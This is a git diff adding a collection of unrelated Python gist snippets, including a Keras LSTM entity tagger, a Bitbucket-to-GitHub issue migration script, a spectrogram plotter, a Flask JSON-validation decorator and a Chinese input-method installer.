diff --git a/hard-gists/375397bc942d134a3c82d0dd514f3fea/snippet.py b/hard-gists/375397bc942d134a3c82d0dd514f3fea/snippet.py
new file mode 100644
index 00000000..f0edc583
--- /dev/null
+++ b/hard-gists/375397bc942d134a3c82d0dd514f3fea/snippet.py
@@ -0,0 +1,102 @@
+# Keras==1.0.6
+import numpy as np
+from keras.models import Sequential
+from keras.layers.recurrent import LSTM
+from keras.layers.core import TimeDistributedDense, Activation
+from keras.preprocessing.sequence import pad_sequences
+from keras.layers.embeddings import Embedding
+from sklearn.cross_validation import train_test_split
+from sklearn.metrics import confusion_matrix, accuracy_score, precision_recall_fscore_support
+
+raw = open('wikigold.conll.txt', 'r').readlines()
+
+all_x = []
+point = []
+for line in raw:
+    stripped_line = line.strip().split(' ')
+    point.append(stripped_line)
+    if line == '\n':
+        all_x.append(point[:-1])
+        point = []
+all_x = all_x[:-1]
+
+lengths = [len(x) for x in all_x]
+print 'Input sequence length range: ', max(lengths), min(lengths)
+
+short_x = [x for x in all_x if len(x) < 64]
+
+X = [[c[0] for c in x] for x in short_x]
+y = [[c[1] for c in y] for y in short_x]
+
+all_text = [c for x in X for c in x]
+
+words = list(set(all_text))
+word2ind = {word: index for index, word in enumerate(words)}
+ind2word = {index: word for index, word in enumerate(words)}
+labels = list(set([c for x in y for c in x]))
+label2ind = {label: (index + 1) for index, label in enumerate(labels)}
+ind2label = {(index + 1): label for index, label in enumerate(labels)}
+print 'Vocabulary size:', len(word2ind), len(label2ind)
+
+maxlen = max([len(x) for x in X])
+print 'Maximum sequence length:', maxlen
+
+
+def encode(x, n):
+    result = np.zeros(n)
+    result[x] = 1
+    return result
+
+X_enc = [[word2ind[c] for c in x] for x in X]
+max_label = max(label2ind.values()) + 1
+y_enc = [[0] * (maxlen - len(ey)) + [label2ind[c] for c in ey] for ey in y]
+y_enc = [[encode(c, max_label) for c in ey] for ey in y_enc]
+
+X_enc = pad_sequences(X_enc, maxlen=maxlen)
+y_enc = pad_sequences(y_enc, maxlen=maxlen)
+
+X_train, X_test, y_train, y_test = train_test_split(X_enc, y_enc, test_size=11*32, train_size=45*32, random_state=42)
+print 'Training and testing tensor shapes:', X_train.shape, X_test.shape, y_train.shape, y_test.shape
+
+max_features = len(word2ind)
+embedding_size = 128
+hidden_size = 32
+out_size = len(label2ind) + 1
+
+model = Sequential()
+model.add(Embedding(max_features, embedding_size, input_length=maxlen, mask_zero=True))
+model.add(LSTM(hidden_size, return_sequences=True))  
+model.add(TimeDistributedDense(out_size))
+model.add(Activation('softmax'))
+
+model.compile(loss='categorical_crossentropy', optimizer='adam')
+
+batch_size = 32
+model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=10, validation_data=(X_test, y_test))
+score = model.evaluate(X_test, y_test, batch_size=batch_size)
+print('Raw test score:', score)
+
+
+def score(yh, pr):
+    coords = [np.where(yhh > 0)[0][0] for yhh in yh]
+    yh = [yhh[co:] for yhh, co in zip(yh, coords)]
+    ypr = [prr[co:] for prr, co in zip(pr, coords)]
+    fyh = [c for row in yh for c in row]
+    fpr = [c for row in ypr for c in row]
+    return fyh, fpr
+
+pr = model.predict_classes(X_train)
+yh = y_train.argmax(2)
+fyh, fpr = score(yh, pr)
+print 'Training accuracy:', accuracy_score(fyh, fpr)
+print 'Training confusion matrix:'
+print confusion_matrix(fyh, fpr)
+precision_recall_fscore_support(fyh, fpr)
+
+pr = model.predict_classes(X_test)
+yh = y_test.argmax(2)
+fyh, fpr = score(yh, pr)
+print 'Testing accuracy:', accuracy_score(fyh, fpr)
+print 'Testing confusion matrix:'
+print confusion_matrix(fyh, fpr)
+precision_recall_fscore_support(fyh, fpr)
diff --git a/hard-gists/3760008/._snippet.py b/hard-gists/3760008/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3760008/._snippet.py differ
diff --git a/hard-gists/3760008/snippet.py b/hard-gists/3760008/snippet.py
new file mode 100644
index 00000000..09913a94
--- /dev/null
+++ b/hard-gists/3760008/snippet.py
@@ -0,0 +1,48 @@
+#coding: utf-8
+from django.test.simple import DjangoTestSuiteRunner
+from nose.plugins.skip import SkipTest
+
+from mongoengine.python_support import PY3
+from mongoengine import connect
+
+try:
+    from django.test import TestCase
+    from django.conf import settings
+except Exception as err:
+    if PY3:
+        from unittest import TestCase
+        # Dummy value so no error
+        class settings:
+            MONGO_DATABASE_NAME = 'dummy'
+    else:
+        raise err
+
+class MongoTestRunner(DjangoTestSuiteRunner):
+    """
+        A test runner that can be used to create, connect to, disconnect from, 
+        and destroy a mongo test database for standard django testing.
+
+        NOTE:
+            The MONGO_PORT and MONGO_DATABASE_NAME settings must exist, create them
+            if necessary.
+        
+        REFERENCE:
+            http://nubits.org/post/django-mongodb-mongoengine-testing-with-custom-test-runner/
+    """
+
+    mongodb_name = 'test_%s' % (settings.MONGO_DATABASE_NAME, )
+
+    def setup_databases(self, **kwargs):
+        from mongoengine.connection import connect, disconnect
+        disconnect()
+        connect(self.mongodb_name, port=settings.MONGO_PORT)
+        print 'Creating mongo test database ' + self.mongodb_name
+        return super(MongoTestRunner, self).setup_databases(**kwargs)
+
+    def teardown_databases(self, old_config, **kwargs):
+        from mongoengine.connection import get_connection, disconnect
+        connection = get_connection()
+        connection.drop_database(self.mongodb_name)
+        print 'Dropping mongo test database: ' + self.mongodb_name
+        disconnect()
+        super(MongoTestRunner, self).teardown_databases(old_config, **kwargs)
diff --git a/hard-gists/3760670/._snippet.py b/hard-gists/3760670/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3760670/._snippet.py differ
diff --git a/hard-gists/3760670/snippet.py b/hard-gists/3760670/snippet.py
new file mode 100644
index 00000000..22aee74c
--- /dev/null
+++ b/hard-gists/3760670/snippet.py
@@ -0,0 +1,33 @@
+from java.io import File
+from java.io import FileInputStream
+from java.util import Properties
+
+
+#Load properties file in java.util.Properties
+def loadPropsFil(propsFil):
+	properties={}
+	propFil = Properties()
+	propFil.load(FileInputStream(propsFil))
+	properties.update(propFil)
+	return properties
+
+propertyfile='/opt/data/myfile.properties'
+properties = loadPropsFil(propertyfile)
+for key, value in properties.iteritems():
+    print "%s=%s" % (key, value)
+
+dictName="MyDictDev2"
+dictId='Environments/%s'%dictName
+if repository.exists(dictId):
+	print "update dictionary '%s'" %  dictId
+	dict=repository.read(dictId)
+	dict.values['entries'].putAll(properties)
+	repository.update(dict)
+else:
+	print "new dictionary created '%s'" %  dictId
+	dict=repository.create(factory.configurationItem(dictId, 'udm.Dictionary', {'entries':properties}))
+
+
+
+
+
diff --git a/hard-gists/3772157/._snippet.py b/hard-gists/3772157/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3772157/._snippet.py differ
diff --git a/hard-gists/3772157/snippet.py b/hard-gists/3772157/snippet.py
new file mode 100644
index 00000000..a85e0e63
--- /dev/null
+++ b/hard-gists/3772157/snippet.py
@@ -0,0 +1,148 @@
+import numpy
+import scipy
+import matplotlib.pyplot as pyplot
+
+def decibel(lin):
+	"""Convert amplitude to decibel.
+	
+	We might later need power to decibel..."""
+	return 20*numpy.log10(norm(lin))
+
+def norm(sig):
+	"""Normalisze signal."""
+	sig_max = numpy.float(
+		numpy.max(
+			numpy.abs(sig)
+		)
+	)
+	return sig / sig_max
+
+def stft(
+	x,
+	fs,
+	framesz,
+	hop
+):
+	"""Short time fourier transform.
+
+	x       : signal.
+	fs      : sampling frequency.
+	framesz : short time window size in seconds (y-resolution).
+	hop     : window movement in seconds (x-resolution).
+	"""
+	framesamp = int(framesz*fs)
+	hopsamp = int(hop*fs)
+	w = scipy.hamming(framesamp)
+	X = scipy.array([scipy.fft(w*x[i:i+framesamp])
+		for i in range(
+			0,
+			len(x)-framesamp,
+			hopsamp
+		)])
+	return X
+
+def logarithmicPrune(
+	spec,
+	y,
+	size
+):
+	"""Does a logarithmic prune. Removes rows from a spectrogram in a logarithmic
+	fashion. It should improove performance of plotting functions. In the higher
+	frequencies more rows are pruned than in the lower. Making the distribution
+	of rows linear again.
+
+	We prune the spectogram and the y-axis with the same function, in order to
+	avoid mismatchs.
+
+	spec : The spectogram to prune.
+	y    : The y-axis that belongs to that spectrum.
+	size : The new size of the array."""
+	# Allocate lists
+	speclist = size*[None]
+	ylist = size*[None]
+	i_max = len(spec)
+	# Calculate the scaling of the indexs during prune
+	# TODO: I have abosultly no idea why I need sqrt. Would be nice to
+	# understand what I am doing.
+	scale = (i_max) / numpy.exp(numpy.sqrt(size-1))
+	index = 0
+	# Slice the spectrogram and select rows.
+	for i in range(0, size):
+		speclist[i] = spec[int(index)].copy()
+		ylist[i] = y[int(index)].copy()
+		exp_val = numpy.exp(numpy.sqrt(i)) * scale
+		# If the resample index didn't grow a while integer, we enforce that.
+		if exp_val < (index + 1):
+			index += 1
+		else:
+			index = int(exp_val)
+	return (
+		numpy.array(speclist),
+		numpy.array(ylist)
+	)
+
+def spectrogram(
+	data,
+	fs,
+	framesz=0.5,
+	hop=0.01,
+	yprune=600,
+	fmax = None
+):
+	"""Display a spectrograph.
+
+	data    : signal.
+	fs      : sampling frequency.
+	framesz : short time window size in seconds (y-resolution).
+	hop     : window movement in seconds (x-resolution).
+	yprune  : y-resolution in rows (Should be more than target the resolution).
+	fmax    : Max frequency to display. Cuts the spectrogram."""
+	C = stft(data, fs, framesz, hop).T
+	# Set ylen from fmax if provided.
+	if fmax == None:
+		fmax = fs/2
+
+	ylen = fmax/2
+	# Cut the unwanted frequecies.
+	C = C[1:ylen]
+	# Get the len from the new array (just to be sure).
+	ylen = len(C)
+	# Create a linear space for the x-axis.
+	x = numpy.linspace(
+		0,
+		len(data)/fs,
+		len(C[0])
+	)
+	# Create logarithmic space for the y-axis.
+	y = numpy.log(numpy.linspace(
+		1,
+		fmax,
+		ylen
+	))
+	# Prune the the lines that are beyond resolution.
+	(d, y) = logarithmicPrune(
+		C,
+		y,
+		yprune
+	);
+	# Convert amplitudes to decibel
+	d = decibel(numpy.absolute(d))
+	# Create a meshgrid for the plotting function. This is a format conversion.
+	X, Y = numpy.meshgrid(x, y);
+	# Plot and set labels
+	pyplot.pcolor(X, Y, d);
+	pyplot.ylabel("Frequency (Hz) ");
+	pyplot.xlabel('Time (seconds)');
+	ax = pyplot.gca()
+	liny = numpy.linspace(
+		1,
+		numpy.log(fmax),
+		10
+	)
+	# Set the ticks along the log-space
+	ax.set_yticks(liny)
+	# The tick labes must be frequencies, so we have to invert log again.
+	ax.set_yticklabels(["%.2f" % x for x in numpy.exp(liny)])
+	# Colorbar with label.
+	pyplot.colorbar().set_label("Amplitude (dB)")
+	return C.shape
diff --git a/hard-gists/3778347/._snippet.py b/hard-gists/3778347/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3778347/._snippet.py differ
diff --git a/hard-gists/3778347/snippet.py b/hard-gists/3778347/snippet.py
new file mode 100644
index 00000000..0f7a8a7d
--- /dev/null
+++ b/hard-gists/3778347/snippet.py
@@ -0,0 +1,246 @@
+#!/usr/bin/env python
+
+"""
+This script helps migrating issues from Bitbucket to GitHub.
+
+It currently ignores milestones completly and doesn't care whether an issue is
+open, new or on hold. As long as it's not closed it's considered open.
+
+To use it, install python-bitbucket, PyGithub and ipdb.
+
+Then run it from the command line.
+
+Note: If I were to do a migration again, I'd modify the script to make the
+import note a comment instead of a part of the description, and I'd run the
+migration as a dedicated 'migrationbot' user.
+
+Caution: Be prepared for errors. Try it out on a fresh repo which you can
+easily kill again.
+
+Hint: If you want to migrate all issues, it's a wise choice to start with a
+GitHub repo without any issues and actually migrate all issues. That way,
+number references in code and other issues will be kept functional.
+"""
+
+BB_USER = u'from_user'
+BB_REPO = u'from_repo'
+
+GH_USER = u'to_user'
+GH_REPO = u'to_repo'
+
+# Github authentication token
+# 
+# Get one with the following command - username needs write access on
+# the github repo specified above.
+#
+# curl -u 'username' -d '{"scopes":["repo"],"note":"Migration"}' \
+#     https://api.github.com/authorizations
+#
+
+GH_TOKEN = '1234567890abcdef1234567890abcdef12345678'
+
+# map bitbucket usernames to github usernames.
+# all assignees of bitbucket issues should appear here.
+
+USER_MAP = {
+    u'bb_username': u'gh_username',
+}
+
+
+CONTENT_TEMPLATE = u"""{content}
+
+
+**Note**: This {content_type} has been automatically migrated from Bitbucket
+Created by {author} on {utc_created_on}"""
+
+
+from bitbucket import BitBucket
+from github import Github
+gh = Github(GH_TOKEN)
+
+_gh_users = {}
+
+
+def get_gh_user(username):
+    if username not in _gh_users:
+        _gh_users[username] = gh.get_user(username)
+    return _gh_users[username]
+
+
+def append_migrate_suffix(content_type, content, username, created, updated):
+
+    if username is None:
+        author = u'Anonymous'
+    elif username in USER_MAP:
+        author = u'@%s' % USER_MAP[username]
+    else:
+        author = u'[%s](https://bitbucket.org/%s)' % (2 * (username,))
+
+    text = CONTENT_TEMPLATE.format(
+        content_type=content_type,
+        content=content,
+        author=author,
+        utc_created_on=created
+    )
+
+    if updated != created:
+        text += u', last updated: %s' % updated
+
+    return text
+
+gh_repo = get_gh_user(GH_USER).get_repo(GH_REPO)
+
+_gh_repo_labels = dict([(l.name, l) for l in list(gh_repo.get_labels())])
+
+
+def get_gh_label(label):
+    if label not in _gh_repo_labels:
+        _gh_repo_labels[label] = gh_repo.create_label(label, '444444')
+    return _gh_repo_labels[label]
+
+
+class GithubIssue(object):
+
+    def __init__(self, bb_issue, create=False):
+
+        self.title = ''
+        self.body = None
+        self.username = None
+        self.assignee = None
+        self.closed = False
+        self.labels = set()
+        self.comments = []
+
+        self.update(bb_issue.get())
+        self.add_comments(bb_issue.comments())
+
+        if create:
+            self.gh_create()
+
+    def update(self, data):
+
+        # status: new, open, resolved, on hold
+
+        if data['status'] == u'resolved':
+            self.closed = True
+
+        self.title = data[u'title']
+
+        print 'Fetched issue "%s"' % self.title
+
+        # priority: trivial, minor, major, critical, blocker
+        self.labels.add(u'prio-%s' % data[u'priority'])
+
+        # metadata['kind']: bug, enhancement, proposal, task
+        self.labels.add(u'type-%s' % data[u'metadata'][u'kind'])
+
+        if data[u'metadata'][u'component'] is not None:
+            self.labels.add(u'component-%s' % data[u'metadata'][u'component'])
+
+        if u'responsible' in data:
+            self.assignee = USER_MAP[data[u'responsible'][u'username']]
+
+        if u'reported_by' in data:
+            self.username = data[u'reported_by'][u'username']
+
+        self.body = append_migrate_suffix(
+            content_type='issue',
+            content=data[u'content'],
+            username=self.username,
+            created=data[u'utc_created_on'],
+            updated=data[u'utc_last_updated'],
+        )
+
+    def add_comments(self, comments):
+        comments.reverse()
+
+        for comment in comments:
+            if comment['content'] is not None:
+                if u'author_info' in comment and comment[u'author_info']:
+                    username = comment[u'author_info'][u'username']
+                else:
+                    username = None
+
+                body = append_migrate_suffix(
+                    content_type='comment',
+                    content=comment[u'content'],
+                    username=username,
+                    created=comment[u'utc_created_on'],
+                    updated=comment[u'utc_updated_on']
+                )
+
+                self.comments.append(body)
+
+    def gh_create(self):
+
+        kwargs = {}
+
+        if self.body is not None:
+            kwargs[u'body'] = self.body
+
+        if self.assignee is not None:
+            kwargs[u'assignee'] = get_gh_user(self.assignee)
+
+        kwargs[u'labels'] = map(get_gh_label, self.labels)
+
+        issue = gh_repo.create_issue(self.title, **kwargs)
+
+        for comment in self.comments:
+            issue.create_comment(comment)
+
+        if self.closed:
+            issue.edit(state=u'closed')
+
+        print 'Created issue "%s" - %s' % (self.title, issue.html_url)
+
+        return issue
+
+
+bb_repo = BitBucket().user(BB_USER).repository(BB_REPO)
+
+
+def fetch_single(iid, create=False):
+    return GithubIssue(bb_repo.issue(iid), create)
+
+
+def fetch_multiple(low, high, create=False):
+    return [fetch_single(iid, create) for iid in range(low, high + 1)]
+
+
+def fetch_all(create=False):
+    count = bb_repo.issues()['count']
+    return fetch_multiple(1, count + 1, create)
+
+
+def create_all(local_issues):
+    for issue in local_issues:
+        issue.gh_create()
+
+
+print """
+
+Do stuff like
+
+Fetch a single issue do:
+
+    i10 = fetch_single(10)
+
+Create that issue on github:
+
+    i10.gh_create()
+
+Fetch and create multiple issues:
+
+    ix = fetch_multiple(2, 5, create=True)
+
+Fetch all issues do:
+
+    all_issues = fetch_all()
+
+Create them on github:
+
+    create_all(all_issues)
+"""
+
+import ipdb
+ipdb.set_trace()
\ No newline at end of file
diff --git a/hard-gists/3778686/._snippet.py b/hard-gists/3778686/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3778686/._snippet.py differ
diff --git a/hard-gists/3778686/snippet.py b/hard-gists/3778686/snippet.py
new file mode 100644
index 00000000..5dcff03c
--- /dev/null
+++ b/hard-gists/3778686/snippet.py
@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+import sys
+import Globals
+from transaction import commit
+from Products.ZenUtils.ZenScriptBase import ZenScriptBase
+dmd = ZenScriptBase(connect=True).dmd
+
+if len(sys.argv) < 3:
+    print "Usage: %s <source_user> <destination_user>" % (sys.argv[0],)
+    sys.exit(1)
+
+sourceUser = getattr(dmd.ZenUsers, sys.argv[1], None)
+if not sourceUser:
+    print "%s is not a valid user." % (sys.argv[1],)
+    sys.exit(2)
+
+destUser = getattr(dmd.ZenUsers, sys.argv[2], None)
+if not destUser:
+    print "%s is not a valid user." % (sys.argv[2],)
+    sys.exit(3)
+
+print "Copying dashboard settings from %s to %s" % (sourceUser.id, destUser.id)
+destUser.dashboardState = sourceUser.dashboardState
+commit()
\ No newline at end of file
diff --git a/hard-gists/3783153/._snippet.py b/hard-gists/3783153/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3783153/._snippet.py differ
diff --git a/hard-gists/3783153/snippet.py b/hard-gists/3783153/snippet.py
new file mode 100644
index 00000000..af0828fa
--- /dev/null
+++ b/hard-gists/3783153/snippet.py
@@ -0,0 +1,14 @@
+from exampleapp import app
+import IPython
+
+app.testing = True
+test_client = app.test_client()
+
+welcome_message = """Welcome to your Flask CLI environment. 
+The following variables are available to use:
+
+app           -> Your Flask app instance.
+test_client   -> Your Flask app.test_client().
+"""
+
+IPython.embed(header=welcome_message)
\ No newline at end of file
diff --git a/hard-gists/3791168/._snippet.py b/hard-gists/3791168/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3791168/._snippet.py differ
diff --git a/hard-gists/3791168/snippet.py b/hard-gists/3791168/snippet.py
new file mode 100644
index 00000000..d0547159
--- /dev/null
+++ b/hard-gists/3791168/snippet.py
@@ -0,0 +1,161 @@
+"""
+    Demo of json_required decorator for API input validation/error handling
+"""
+
+import inspect
+import functools
+import json
+from traceback import format_exception
+from flask import jsonify, request
+import sys
+from flask.exceptions import JSONBadRequest
+
+from flask import Flask
+import re
+
+app = Flask(__name__)
+
+def api_error_response(code=404, message="Requested resource was not found", errors=list()):
+    """
+        Convenience function for returning a JSON response that includes
+        appropriate error messages and code.
+    """
+
+    response = jsonify(dict(code=code, message=message, errors=errors, success=False))
+    response.status_code = code
+    return response
+
+def bad_json_error_response():
+    """
+        Convenience function for returning an error message related to
+        malformed/missing JSON data.
+    """
+
+    return api_error_response(code=400,
+        message="There was a problem parsing the supplied JSON data.  Please send valid JSON.")
+
+
+def json_required(func=None, required_fields={}, validations=[]):
+    """
+        Decorator used to validate JSON input to an API request
+    """
+    if func is None:
+        return functools.partial(json_required, required_fields=required_fields, validations=validations)
+    @functools.wraps(func)
+    def decorated_function(*args, **kwargs):
+
+        try:
+            #If no JSON was supplied (or it didn't parse correctly)
+            try:
+                if request.json is None:
+                    return bad_json_error_response()
+            except JSONBadRequest:
+                return bad_json_error_response()
+
+            #Check for specific fields
+            errors = []
+
+            def check_required_fields(data, fields):
+                for field, requirements in fields.iteritems():
+                    nested_fields = type(requirements) == dict
+                    if data.get(field) in (None, ''):
+                        if nested_fields:
+                            error_msg = requirements.get('message')
+                        else:
+                            error_msg = requirements
+                        errors.append({'field': field, 'message': error_msg})
+                    elif nested_fields:
+                        check_required_fields(data[field], requirements.get('fields', {}))
+
+            check_required_fields(request.json, required_fields)
+
+            for validation_field, validation_message, validation_func in validations:
+                func_args = inspect.getargspec(validation_func).args
+                func_params = []
+                for arg in func_args:
+                    func_params.append(request.json.get(arg))
+
+                if not validation_func(*func_params):
+                    errors.append({'field': validation_field, 'message': validation_message})
+
+            if errors:
+                return api_error_response(code=422, message="JSON Validation Failed", errors=errors)
+
+        except Exception:
+            #For internal use, nice to have the traceback in the API response for debugging
+            #Probably don't want to include for public APIs
+            etype, value, tb = sys.exc_info()
+            error_info = ''.join(format_exception(etype, value, tb))
+            return api_error_response(code=500, message="Internal Error validating API input", errors=[{'message':error_info}])
+
+        return func(*args, **kwargs)
+
+    return decorated_function
+
+EMAIL_REGEX = re.compile(r"[A-Za-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[A-Za-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[A-Za-z0-9](?:[A-Za-z0-9-]*[A-Za-z0-9])?\.)+[A-Za-z0-9](?:[A-Za-z0-9-]*[A-Za-z0-9])?")
+
+def verify_account_available(email):
+    """
+        Check to see if this email is already registered
+    """
+
+    #Run a query, use an ORM, use Twilio to call someone and ask them :-)
+    return True
+
+def valid_date_of_birth(date_of_birth):
+    """
+        Does the supplied date string meet our criteria for a date of birth
+    """
+
+    #Do whatever you need to do...
+    return True
+
+@app.route("/do/something", methods=['POST'])
+@json_required(
+    required_fields={
+        'first_name':"Please provide your first name.",
+        'last_name':"Please provide your last name.",
+        'email':'Please specify a valid email address',
+        'date_of_birth':'Please provide your date of birth'
+    },
+    validations=[
+        ('email', 'Please provide a valid email address', lambda email: email is not None and EMAIL_REGEX.match(email)),
+        ('email', "This email is already in use.  Please try a different email address.", verify_account_available),
+        ('date_of_birth', 'Please provide a valid date of birth', valid_date_of_birth)
+    ]
+)
+def do_something_useful():
+    #Confidently use the data in request.json...
+    return jsonify(dict(status='OK'))
+
+
+if __name__ == "__main__":
+
+    with app.test_client() as client:
+        response = client.post(
+            '/do/something',
+            data=json.dumps({ "first_name": "Brian",
+                              "last_name": "Corbin",
+                              "email": "corbinbs@example.com",
+                              "date_of_birth": "01/01/1970" }),
+            follow_redirects=True,
+            content_type='application/json')
+
+        response_dict = json.loads(response.data)
+        assert response_dict['status'] == 'OK'
+
+        response = client.post(
+            '/do/something',
+            data=json.dumps({ "last_name": "Corbin",
+                              "email": "corbinbs@example.com",
+                              "date_of_birth": "01/01/1970" }),
+            follow_redirects=True,
+            content_type='application/json')
+
+        response_dict = json.loads(response.data)
+        assert response.status_code == 422
+        assert response_dict['code'] == 422
+        assert response_dict['message'] == "JSON Validation Failed"
+        assert len(response_dict['errors']) == 1
+        assert response_dict['errors'][0]['field'] == 'first_name'
+        assert response_dict['errors'][0]['message'] == 'Please provide your first name.'
diff --git a/hard-gists/37931/._snippet.py b/hard-gists/37931/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/37931/._snippet.py differ
diff --git a/hard-gists/37931/snippet.py b/hard-gists/37931/snippet.py
new file mode 100644
index 00000000..219eb33f
--- /dev/null
+++ b/hard-gists/37931/snippet.py
@@ -0,0 +1,127 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# Copyright (C) 2007 朱昱任 (Yuren Ju) <yurenju -AT- gmail.com>
+# Copyright (C) 2007 洪任諭(PCMan) <pcman.tw -AT- gmail.com>
+# Copyright (C) 2008 林哲瑋 Zhe-Wei Lin (bill3321,雨蒼) <bill3321 -AT- gmail.com>
+# Last Midified : 19 Dec 2008
+# Install and config input method for one or more users.
+# Released under GNU General Public License
+
+import os
+from string import Template
+import pygtk
+pygtk.require('2.0')
+import gtk 
+import commands
+
+def noseeing_yes_no():
+    msg="請問您是否要安裝無蝦米輸入法？"
+    dlg = gtk.MessageDialog \
+            (None, gtk.DIALOG_MODAL, \
+            gtk.MESSAGE_QUESTION, \
+            gtk.BUTTONS_YES_NO, msg)
+
+    ret = dlg.run ()
+    dlg.destroy ()
+    if ret == gtk.RESPONSE_YES:
+     os.system( 'scripts/noseeing-inst' );
+
+def sel_users(selected_cin):
+    USERS_LIST=commands.getoutput('cat /etc/passwd | grep bash | cut -d ":" -f 1').split('\n')
+    USERS_LIST.pop(0)
+
+    dlg_bts={}
+    dlg = gtk.MessageDialog \
+        (None, gtk.DIALOG_MODAL,  \
+        gtk.MESSAGE_QUESTION, \
+        gtk.BUTTONS_OK)
+    dlg.set_markup ('<b>請選擇您的輸入法設定要套用的使用者：</b>')
+    for user_name in USERS_LIST:
+     user_name_box= user_name + "_box"
+     dlg_bts[user_name_box]=gtk.CheckButton(user_name)
+     dlg.vbox.pack_start(dlg_bts[user_name_box],True,True,2)
+
+    dlg.vbox.show_all ()
+
+    ret = dlg.run ()
+    for user_name in USERS_LIST:
+     user_name_box= user_name + "_box"
+     if dlg_bts[user_name_box].get_active():
+      print "套用輸入法設定到" + user_name + "..."
+      ims_cmd = "su -c \"im-switch -s %s\" %s" % (selected_cin, user_name)
+      os.system(ims_cmd)
+
+
+
+def user_scope (selected_cin):
+    dlg = gtk.MessageDialog \
+        (None, gtk.DIALOG_MODAL,  \
+        gtk.MESSAGE_QUESTION, \
+        gtk.BUTTONS_OK)
+    dlg.set_markup ('<b>請選擇您的輸入法設定要套用的使用者：</b>')
+ 
+    currectuser_btn=gtk.RadioButton (None, '只套用到我自己')
+    dlg.vbox.pack_start (currectuser_btn, False, True, 2)
+    alluser_btn =gtk.RadioButton (currectuser_btn ,'套用到所有使用者')
+    dlg.vbox.pack_start (alluser_btn, False, True, 2)
+    seluser_btn =gtk.RadioButton (currectuser_btn ,'選擇套用的使用者')
+    dlg.vbox.pack_start (seluser_btn, False, True, 2)
+
+    dlg.vbox.show_all ()
+
+    ret = dlg.run ()
+    currectuser = currectuser_btn.get_active()
+    alluser = alluser_btn.get_active()
+    seluser = seluser_btn.get_active()
+
+    dlg.destroy ()
+    if ret != gtk.RESPONSE_OK:
+       return False
+    while gtk.events_pending ():
+      gtk.main_iteration ()
+
+    if currectuser:
+       print "套用輸入法設定到當前使用者..."
+       ims_cmd = "su -c \"im-switch -s %s\" %s" % (selected_cin, os.environ['REAL_USER']) 
+       os.system(ims_cmd)
+
+    elif alluser:
+       print "套用輸入法設定到所有使用者..."
+       ims_cmd = "sudo im-switch -s %s" % (selected_cin)
+       os.system(ims_cmd)
+    elif seluser:
+       sel_users(selected_cin)
+
+
+def main():
+    apt_cmd = "apt-get -y install "
+
+    gcin_text = "gcin \"由台灣網友開發的輸入法，有許多在地化的調校，\n是在臺灣相當受到歡迎的中文輸入法。\n有許多方便的功能，穩定而強大，內建多種輸入法，\n包括功能類似微軟新注音的詞音輸入法、並「可支援無蝦米」。\n但和 Windows 下常見的操作習慣相差不少，新手可能會很不習慣。\n\""
+    scim_text = "scim \"Ubuntu 預設的中文輸入法，可以輸入多國文字，功能強大，\n操作和 Windows 上接近，內含類似新注音，相當知名的新酷音輸入法，\n但是比較龐大，目前穩定性也不及 gcin\n\""
+    dialog_text = "--text=下列是最常見的二種中文輸入法，'請選擇您喜好的輸入法，\n若您無法決擇，建議可以考慮 gcin：\n'"
+    zenity_cmd = Template("zenity --width=512 --height=480 --list --title='選擇輸入法' --column='名稱' --column='敘述' $dialog_text $gcin $scim").substitute(gcin=gcin_text, scim=scim_text, dialog_text=dialog_text)
+
+    fin, fout = os.popen2(zenity_cmd)
+    selected_cin = fout.read().strip()
+
+    os.system(apt_cmd + "im-switch")
+
+    if selected_cin == 'gcin' or selected_cin == 'scim':
+        os.system(apt_cmd + selected_cin)
+
+        if selected_cin == "scim":
+            os.system(apt_cmd + "scim-qtimm scim-chewing")
+        elif selected_cin == 'gcin':
+            os.system(apt_cmd +'gcin-qt3-immodule' );
+            # install noseeing
+            # FIXME: 使用者應該可以選擇不要安裝無蝦米
+            #os.system( 'scripts/noseeing-inst' );
+            noseeing_yes_no()
+
+        user_scope(selected_cin)
+
+        #ims_cmd = "su -c \"im-switch -s %s\" %s" % (selected_cin, os.environ['REAL_USER']) 
+        #os.system(ims_cmd)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/3799831/._snippet.py b/hard-gists/3799831/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3799831/._snippet.py differ
diff --git a/hard-gists/3799831/snippet.py b/hard-gists/3799831/snippet.py
new file mode 100644
index 00000000..27ce3650
--- /dev/null
+++ b/hard-gists/3799831/snippet.py
@@ -0,0 +1,140 @@
+import numpy as np
+import FuncDesigner as fd
+from openopt import NLP
+
+from sklearn.metrics.pairwise import rbf_kernel, polynomial_kernel
+
+
+def theta(x):
+    return 0.5 * (fd.sign(x) + 1.)
+
+
+# --- loss ---
+
+class EpsilonInsensitiveLoss(object):
+
+    def __init__(self, epsilon=0.1):
+        self.epsilon = epsilon
+
+    def __call__(self, y, y_pred):
+        e = self.epsilon
+
+        _y = y - y_pred
+
+        low_x = (- _y - e)
+        low  = low_x * theta(low_x)
+        high_x = (_y - e)
+        high = high_x * theta(high_x)
+
+        return low + high
+
+
+class L2Loss(object):
+
+    def __call__(self, y, y_pred):
+        return (y - y_pred) ** 2
+
+
+class HuberQuantileLoss(object):
+
+    def __init__(self, quantile=0.5):
+        self.quantile = quantile
+
+    def __call__(self, y, y_pred):
+        q = self.quantile
+
+        _y = y - y_pred
+
+        mid  = (.5*_y**2 + (q - .5)*_y + .125) * theta(.5 - _y) * theta(_y + .5)
+        low  = (_y * (q - 1))                  * theta(-.5 - _y)
+        high = (_y * q)                        * theta(_y - .5)
+
+        return mid + low + high
+
+
+
+# --- kernel ---
+
+class LinearKernel(object):
+
+    def __call__(self, a, b):
